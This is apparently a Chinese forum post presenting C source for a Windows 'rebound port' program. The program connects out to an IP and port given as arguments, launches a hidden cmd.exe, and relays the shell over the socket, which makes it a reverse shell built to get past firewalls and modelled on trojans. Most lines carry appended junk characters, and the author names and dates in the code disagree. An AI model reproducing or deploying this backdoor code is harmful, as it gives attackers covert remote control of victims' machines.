这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ^_5|BT@
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/* ============================== ,XKCz ]8V
Rebound port in Windows NT sH#X0fG
By wind,2006/7 _=f=f cl
===============================*/ epD?K
#include @tUoD>f
#include " {dek
#CUzuk&
#pragma comment(lib,"wsock32.lib") S]/b\B.h+
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void OutputShell(); ?;ukvD
SOCKET sClient; Zk-~ar
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; KM,|} .@:
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void main(int argc,char **argv) $9!D\N,}]C
{ XVVD 0^ Q
WSADATA stWsaData; "E*e2W
int nRet; |}&RXD
SOCKADDR_IN stSaiClient,stSaiServer; K7TzF&
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if(argc != 3) lTRl"`@S
{ jQs>`P-CM
printf("Useage:\n\rRebound DestIP DestPort\n"); (#\pQ51
return; TV59(bG.2
} s<QkDERMX
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WSAStartup(MAKEWORD(2,2),&stWsaData); a|j%n
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `u'bRp
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stSaiClient.sin_family = AF_INET; MHj,<|8Q
stSaiClient.sin_port = htons(0); |pZUlQbb
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); m"2d$vro"
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) afEF]i
{ 1`bl&}6l|E
printf("Bind Socket Failed!\n"); I s57F4[}
return; _s.;eHp,
} \[:/CxP
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stSaiServer.sin_family = AF_INET; !vD{Df>
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); I~*
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); `RRE(SiKU
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) BHFY%6J!
{ }CGSEr4'w~
printf("Connect Error!"); myFAKRc
return; v}JD2.O+
} yzsab ^]
OutputShell(); +/{L#e>
} H1:be.^YP
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void OutputShell() Vy<HA*
{ xG2F!WeF
char szBuff[1024]; o:q1beU
SECURITY_ATTRIBUTES stSecurityAttributes; t~7V{ xk
OSVERSIONINFO stOsversionInfo; z;\d L
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; bO5k6i
STARTUPINFO stStartupInfo; w(d>HHg
char *szShell; 25y6a|`
PROCESS_INFORMATION stProcessInformation; Ucw yxXI
unsigned long lBytesRead; @Yw,nQE)b
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); oFsM6+\/S
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); E-5_{sc
stSecurityAttributes.lpSecurityDescriptor = 0; O\KQl0*l\\
stSecurityAttributes.bInheritHandle = TRUE; F/c$v
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); )v4b
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); m^~ S
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ~p0c3*
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; una%[jTc
stStartupInfo.wShowWindow = SW_HIDE; t(!r8!c
u}
stStartupInfo.hStdInput = hReadPipe; K4Dp:2/K%
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; |]=2 }%1w
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GetVersionEx(&stOsversionInfo); ti5HrKIw
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switch(stOsversionInfo.dwPlatformId)
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{ K5t0L!6<+
case 1: I`(l *U
szShell = "command.com"; G_H?f\/
break; VhGs/5
default: /t<@"BoV
szShell = "cmd.exe"; m#/_x
break; ;TiUpg</_3
} penlG36Q
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); `Pn[tuIO
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send(sClient,szMsg,77,0); 3voT^o
while(1) d&8 APe
{ RC#C\S6
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); QYb33pN|
if(lBytesRead) y&[y=0!
{ |! SOG
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); I&|f'pn^<
send(sClient,szBuff,lBytesRead,0); )D-c]+yt
} _?voU
else rZPT89M6
{ bAk&~4Y_"
lBytesRead=recv(sClient,szBuff,1024,0); 8e~|.wOL
if(lBytesRead<=0) break; g?v\!/~(u
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ?jQ](i&
} V! |qYM.
} >kZ57,
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return; ^E`(*J/o
}